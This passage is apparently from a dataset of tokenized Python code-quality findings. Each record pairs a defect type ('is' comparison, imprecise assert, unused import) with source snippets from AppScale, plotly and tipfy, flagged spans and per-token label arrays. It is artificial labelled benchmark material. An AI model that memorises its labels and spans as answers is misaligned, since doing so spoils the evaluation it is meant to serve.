"-]",
"foo",
"'_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
",_",
"'--",
"no",
"-",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'-",
"f",
"'_",
",_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"bool_",
"}_",
",_",
"[_",
"'-",
"f",
"'_",
",_",
"'--",
"[",
"no",
"-]",
"foo",
"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'-",
"f",
"'_",
",_",
"'--",
"foo",
"'_",
",_",
"'--",
"no",
"-",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"}_",
",_",
"[_",
"'--",
"foo",
"=",
"<",
"str",
">'_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"meta",
"var",
"'_",
":_",
"'",
"xx",
"'_",
"}_",
",_",
"[_",
"'--",
"foo",
"=",
"xx",
"'_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"int_",
"}_",
",_",
"[_",
"'--",
"foo",
"=",
"<",
"int",
">'_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"list_",
"}_",
",_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=",
"<",
"str",
">",
" ",
"(-",
"-",
"foo",
"=",
"<",
"str",
">)",
" ",
"...'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=\"",
"[",
"<",
"str",
">",
",",
" ",
"<",
"str",
">",
",",
" ",
"...]",
"\"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=\"",
"+[",
"<",
"str",
">",
",",
" ",
"<",
"str",
">",
",",
" ",
"...]",
"\"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"list_",
",_",
"'",
"member",
"\\u",
"type",
"'_",
":_",
"int_",
"}_",
",_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=",
"<",
"int",
">",
" ",
"(-",
"-",
"foo",
"=",
"<",
"int",
">)",
" ",
"...'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=\"",
"[",
"<",
"int",
">",
",",
" ",
"<",
"int",
">",
",",
" ",
"...]",
"\"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=\"",
"+[",
"<",
"int",
">",
",",
" ",
"<",
"int",
">",
",",
" ",
"...]",
"\"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"list_",
",_",
"'",
"member",
"\\u",
"type",
"'_",
":_",
"dict_",
"}_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'--",
"foo",
"=\"",
"{\\\\",
"'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"}\"",
" ",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"'(",
"--",
"foo",
"=\"",
"{\\\\",
"'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"}\"",
")",
" ",
"...'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=\"",
"[{",
"\\\\'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"},",
" ",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"'{",
"\\\\'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"},",
" ",
"...]",
"\"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'--",
"foo",
"=\"",
"+[",
"{\\\\",
"'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"},",
" ",
"'_",
"\\u\\u\\uNL\\u\\u\\u_",
"'{",
"\\\\'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"},",
" ",
"...]",
"\"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
"]_",
",_",
"{_",
"'",
"type",
"'_",
":_",
"dict_",
"}_",
",_",
"[_",
"'--",
"foo",
"=\"",
"{\\\\",
"'",
"key",
"1",
"\\\\':",
"val",
"1",
",\\\\",
"'",
"key",
"2",
"\\\\':",
"val",
"2",
",...",
"}\"'_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"'--",
"foo",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"do",
"\\u",
"test_",
"(_",
"[_",
"'--",
"foo",
"'_",
",_",
"'--",
"bar",
"'_",
"]_",
",_",
"{_",
"}_",
",_",
"[_",
"'--",
"foo",
"=",
"<",
"str",
">'_",
",_",
"'--",
"bar",
"=",
"<",
"str",
">'_",
"]_",
",_",
"[_",
"'--",
"foo",
"'_",
",_",
"'--",
"bar",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Comparison using is when operands support `__eq__` | AppScale/appscale/AppServer/google/appengine/api/prospective_search/prospective_search.py | [
{
"content": "def get_document(request):\n \"\"\"Decodes document from prospective_search result POST request.\n\n Args:\n request: received POST request\n\n Returns:\n document: original datastore.Entity or db.Model document from match call.\n\n Raises:\n DocumentTypeError:\n \"\"\"\n\n from google.appengine.ext import db\n\n doc_class = request.get('python_document_class')\n if not doc_class:\n return None\n entity = entity_pb.EntityProto()\n entity.ParseFromString(base64.urlsafe_b64decode(\n request.get('document').encode('utf-8')))\n doc_class = int(doc_class)\n if doc_class is _doc_class.ENTITY:\n return datastore.Entity('temp-kind').FromPb(entity)\n elif doc_class is _doc_class.MODEL:\n return db.model_from_protobuf(entity)\n else:\n raise DocumentTypeError()",
"metadata": "root.get_document",
"header": "['module', '___EOS___']",
"index": 524
}
]
| [
{
"span": "doc_class is _doc_class.ENTITY:",
"start_line": 546,
"start_column": 5,
"end_line": 546,
"end_column": 35
},
{
"span": "doc_class is _doc_class.MODEL:",
"start_line": 548,
"start_column": 7,
"end_line": 548,
"end_column": 36
}
]
| []
| 1 | false | [
"[CLS]_",
"Compari",
"son_",
"using_",
"is_",
"when_",
"operands_",
"support_",
" _",
"`_",
"\\u\\u",
"eq\\u\\u_",
"`_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"document_",
"(_",
"request_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"Decode",
"s",
" ",
"document",
" ",
"from",
" ",
"prospe",
"ctive",
"\\u",
"search",
" ",
"result",
" ",
"POST",
" ",
"request",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
"Arg",
"s",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"request",
":",
" ",
"receive",
"d",
" ",
"POST",
" ",
"request",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
"Return",
"s",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"document",
":",
" ",
"original",
" ",
"datast",
"ore",
".",
"Entit",
"y",
" ",
"or",
" ",
"db",
".",
"Model",
" ",
"document",
" ",
"from",
" ",
"match",
" ",
"call",
".",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
"Rai",
"ses",
":",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Document",
"Type",
"Error",
":",
"\\",
"10",
";",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"google_",
"._",
"appengine_",
"._",
"ext_",
"import_",
"db_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"doc",
"\\u",
"class_",
"=_",
"request_",
"._",
"get_",
"(_",
"'",
"python",
"\\u",
"document",
"\\u",
"class",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"doc",
"\\u",
"class_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"entity_",
"=_",
"entity",
"\\u",
"pb_",
"._",
"Entit",
"y",
"Proto_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"entity_",
"._",
"Pars",
"e",
"Fro",
"m",
"String_",
"(_",
"base64_",
"._",
"urlsafe",
"\\u",
"b64decode_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"request_",
"._",
"get_",
"(_",
"'",
"document",
"'_",
")_",
"._",
"encode_",
"(_",
"'",
"utf",
"-",
"8",
"'_",
")_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"doc",
"\\u",
"class_",
"=_",
"int_",
"(_",
"doc",
"\\u",
"class_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"doc",
"\\u",
"class_",
"is_",
"\\u",
"doc",
"\\u",
"class_",
"._",
"ENTITY",
"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"datastore_",
"._",
"Entity_",
"(_",
"'",
"temp",
"-",
"kind",
"'_",
")_",
"._",
"Fro",
"m",
"Pb",
"_",
"(_",
"entity_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"doc",
"\\u",
"class_",
"is_",
"\\u",
"doc",
"\\u",
"class_",
"._",
"MODEL_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"db_",
"._",
"model",
"\\u",
"from",
"\\u",
"protobuf_",
"(_",
"entity_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | plotly/plotly.py/plotly/tests/test_core/test_plotly/test_plot.py | [
{
"content": " @attr('slow')\n def test_plot_url_given_sharing_key(self):\n\n # Give share_key is requested, the retun url should contain\n # the share_key\n\n validate = True\n fig = tls.return_figure_from_figure_or_data(self.simple_figure,\n validate)\n kwargs = {'filename': 'is_share_key_included',\n 'fileopt': 'overwrite',\n 'world_readable': False,\n 'sharing': 'secret'}\n response = py._send_to_plotly(fig, **kwargs)\n plot_url = response['url']\n\n self.assertTrue('share_key=' in plot_url)",
"metadata": "root.TestPlot.test_plot_url_given_sharing_key",
"header": "['class', 'TestPlot', '(', 'TestCase', ')', ':', '___EOS___']",
"index": 152
}
]
| [
{
"span": "self.assertTrue('share_key=' in plot_url)",
"start_line": 168,
"start_column": 8,
"end_line": 168,
"end_column": 49
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"Test",
"Plot_",
"(_",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"attr_",
"(_",
"'",
"slow",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"test\\u",
"plot",
"\\u",
"url",
"\\u",
"give",
"n",
"\\u",
"shar",
"ing",
"\\u",
"key_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Give",
" ",
"share",
"\\u",
"key",
" ",
"is",
" ",
"request",
"ed",
",",
" ",
"the",
" ",
"ret",
"un",
" ",
"url",
" ",
"shou",
"ld",
" ",
"contain",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"the",
" ",
"share",
"\\u",
"key_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"validate_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"fig_",
"=_",
"tls_",
"._",
"return",
"\\u",
"figure",
"\\u",
"from",
"\\u",
"figure",
"\\u",
"or",
"\\u",
"data_",
"(_",
"self_",
"._",
"simple",
"\\u",
"figure_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"validate_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"kwargs_",
"=_",
"{_",
"'",
"filename",
"'_",
":_",
"'",
"is",
"\\u",
"share",
"\\u",
"key",
"\\u",
"include",
"d",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"fileo",
"pt",
"'_",
":_",
"'",
"overwrit",
"e",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"world",
"\\u",
"reada",
"ble",
"'_",
":_",
"False_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"shar",
"ing",
"'_",
":_",
"'",
"secret",
"'_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"response_",
"=_",
"py_",
"._",
"\\u",
"send",
"\\u",
"to",
"\\u",
"plotly",
"_",
"(_",
"fig_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"plot",
"\\u",
"url_",
"=_",
"response_",
"[_",
"'",
"url",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"share",
"\\u",
"key",
"='_",
"in_",
"plot",
"\\u",
"url_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2
]
|
Unused import | moraes/tipfy/tests/gae_xmpp_test.py | [
{
"content": "# -*- coding: utf-8 -*-\n\"\"\"\n Tests for tipfy.appengine.xmpp\n\"\"\"\nimport os\nimport sys\nimport unittest\n\nfrom tipfy import Rule, Tipfy\nfrom tipfy.app import local\n\nfrom google.appengine.api.xmpp import Message as ApiMessage\n\nimport test_utils\n\nfake_local = {}\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n test_utils.main()\n",
"metadata": "root",
"header": "['module', '___EOS___']",
"index": 0
},
{
"content": "def get_app():\n return Tipfy(rules=[\n Rule('/', name='xmpp-test', handler='resources.xmpp_handlers.XmppHandler'),\n Rule('/test2', name='xmpp-test', handler='resources.xmpp_handlers.XmppHandler2'),\n ], debug=True)",
"metadata": "root.get_app",
"header": "['module', '___EOS___']",
"index": 18
},
{
"content": "def send_message(jids, body, from_jid=None, message_type='chat',\n raw_xml=False):\n fake_local['message'] = {\n 'body': body,\n }",
"metadata": "root.send_message",
"header": "['module', '___EOS___']",
"index": 25
},
{
"content": "class InvalidMessageError(Exception):\n pass",
"metadata": "root.InvalidMessageError",
"header": "['module', '___EOS___']",
"index": 32
},
{
"content": "class Message(ApiMessage):\n \"\"\"Encapsulates an XMPP message received by the application.\"\"\"\n",
"metadata": "root.Message",
"header": "['module', '___EOS___']",
"index": 36
},
{
"content": " def __init__(self, vars):\n \"\"\"Constructs a new XMPP Message from an HTTP request.\n\n Args:\n vars: A dict-like object to extract message arguments from.\n \"\"\"\n try:\n self.__sender = vars[\"from\"]\n self.__to = vars[\"to\"]\n self.__body = vars[\"body\"]\n except KeyError, e:\n raise InvalidMessageError(e[0])\n\n self.__command = None\n self.__arg = None",
"metadata": "root.Message.__init__",
"header": "['class', 'Message', '(', 'ApiMessage', ')', ':', '___EOS___']",
"index": 38
},
{
"content": " def reply(self, body, message_type='chat', raw_xml=False,\n send_message=send_message):\n \"\"\"Convenience function to reply to a message.\n\n Args:\n body: str: The body of the message\n message_type, raw_xml: As per send_message.\n send_message: Used for testing.\n\n Returns:\n A status code as per send_message.\n\n Raises:\n See send_message.\n \"\"\"\n return send_message([self.sender], body, from_jid=self.to,\n message_type=message_type, raw_xml=raw_xml)",
"metadata": "root.Message.reply",
"header": "['class', 'Message', '(', 'ApiMessage', ')', ':', '___EOS___']",
"index": 54
},
{
"content": "class TestCommandHandler(test_utils.BaseTestCase):\n\n\n\n\n\n",
"metadata": "root.TestCommandHandler",
"header": "['module', '___EOS___']",
"index": 73
},
{
"content": " def setUp(self):\n from tipfy.appengine import xmpp\n self.xmpp_module = xmpp.xmpp\n xmpp.xmpp = sys.modules[__name__]\n test_utils.BaseTestCase.setUp(self)",
"metadata": "root.TestCommandHandler.setUp",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 74
},
{
"content": " def tearDown(self):\n fake_local.clear()\n\n from tipfy.appengine import xmpp\n xmpp.xmpp = self.xmpp_module\n test_utils.BaseTestCase.tearDown(self)",
"metadata": "root.TestCommandHandler.tearDown",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 80
},
{
"content": " def test_no_command(self):\n app = get_app()\n client = app.get_test_client()\n\n data = {}\n client.open(method='POST', data=data)\n\n self.assertEqual(fake_local.get('message', None), None)",
"metadata": "root.TestCommandHandler.test_no_command",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 87
},
{
"content": " def test_not_implemented(self):\n app = get_app()\n app.config['tipfy']['enable_debugger'] = False\n client = app.get_test_client()\n\n data = {\n 'from': '[email protected]',\n 'to': '[email protected]',\n 'body': '/inexistent_command foo bar',\n }\n self.assertRaises(NotImplementedError, client.post, path='/test2', data=data)",
"metadata": "root.TestCommandHandler.test_not_implemented",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 96
},
{
"content": " def test_unknown_command(self):\n app = get_app()\n client = app.get_test_client()\n\n data = {\n 'from': '[email protected]',\n 'to': '[email protected]',\n 'body': '/inexistent_command foo bar',\n }\n client.open(method='POST', data=data)\n\n self.assertEqual(fake_local.get('message', None), {'body': 'Unknown command'})",
"metadata": "root.TestCommandHandler.test_unknown_command",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 108
},
{
"content": " def test_command(self):\n app = get_app()\n client = app.get_test_client()\n\n data = {\n 'from': '[email protected]',\n 'to': '[email protected]',\n 'body': '/foo foo bar',\n }\n client.open(method='POST', data=data)\n\n self.assertEqual(fake_local.get('message', None), {'body': 'Foo command!'})\n\n data = {\n 'from': '[email protected]',\n 'to': '[email protected]',\n 'body': '/bar foo bar',\n }\n client.open(method='POST', data=data)\n\n self.assertEqual(fake_local.get('message', None), {'body': 'Bar command!'})",
"metadata": "root.TestCommandHandler.test_command",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 121
},
{
"content": " def test_text_message(self):\n app = get_app()\n client = app.get_test_client()\n\n data = {\n 'from': '[email protected]',\n 'to': '[email protected]',\n 'body': 'Hello, text message!',\n }\n client.open(method='POST', data=data)\n\n self.assertEqual(fake_local.get('message', None), {'body': 'Hello, text message!'})",
"metadata": "root.TestCommandHandler.test_text_message",
"header": "['class', 'TestCommandHandler', '(', 'test_utils', '.', 'BaseTestCase', ')', ':', '___EOS___']",
"index": 143
}
]
| [
{
"span": "import os",
"start_line": 4,
"start_column": 0,
"end_line": 4,
"end_column": 9
},
{
"span": "import unittest",
"start_line": 6,
"start_column": 0,
"end_line": 6,
"end_column": 15
},
{
"span": "from tipfy.app import local",
"start_line": 9,
"start_column": 0,
"end_line": 9,
"end_column": 27
}
]
| []
| 1 | false | [
"[CLS]_",
"Un",
"used_",
"import_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"#",
" ",
"-*-",
" ",
"codi",
"ng",
":",
" ",
"utf",
"-",
"8",
" ",
"-*-",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
"s",
" ",
"for",
" ",
"tip",
"fy",
".",
"appengine",
".",
"xmpp",
"\\",
"10",
";\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"os_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"sys_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"import_",
"unittest_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"tip",
"fy_",
"import_",
"Rule_",
",_",
"Tip",
"fy_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"from_",
"tip",
"fy_",
"._",
"app_",
"import_",
"local_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"from_",
"google_",
"._",
"appengine_",
"._",
"api_",
"._",
"xmpp_",
"import_",
"Message_",
"as_",
"Ap",
"i",
"Message_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"import_",
"test\\u",
"utils_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"fake",
"\\u",
"local_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\\u\\u",
"name\\u\\u_",
"==_",
"'\\u",
"\\u",
"main",
"\\u\\u'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"test\\u",
"utils_",
"._",
"main_",
"(_",
")_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"get",
"\\u",
"app_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"Tip",
"fy_",
"(_",
"rules_",
"=_",
"[_",
"\\u\\u\\uNL\\u\\u\\u_",
"Rule_",
"(_",
"'/'_",
",_",
"name_",
"=_",
"'",
"xmpp",
"-",
"test",
"'_",
",_",
"handler_",
"=_",
"'",
"resource",
"s",
".",
"xmpp",
"\\u",
"handler",
"s",
".",
"Xm",
"pp",
"Handle",
"r",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"Rule_",
"(_",
"'/",
"test",
"2",
"'_",
",_",
"name_",
"=_",
"'",
"xmpp",
"-",
"test",
"'_",
",_",
"handler_",
"=_",
"'",
"resource",
"s",
".",
"xmpp",
"\\u",
"handler",
"s",
".",
"Xm",
"pp",
"Handle",
"r2",
"'_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"]_",
",_",
"debug_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"send",
"\\u",
"message_",
"(_",
"ji",
"ds_",
",_",
"body_",
",_",
"from",
"\\u",
"jid_",
"=_",
"None_",
",_",
"message",
"\\u",
"type_",
"=_",
"'",
"chat",
"'_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"raw",
"\\u",
"xml_",
"=_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"fake",
"\\u",
"local_",
"[_",
"'",
"message",
"'_",
"]_",
"=_",
"{_",
"\\u\\u\\uNL\\u\\u\\u_",
"'",
"body",
"'_",
":_",
"body_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
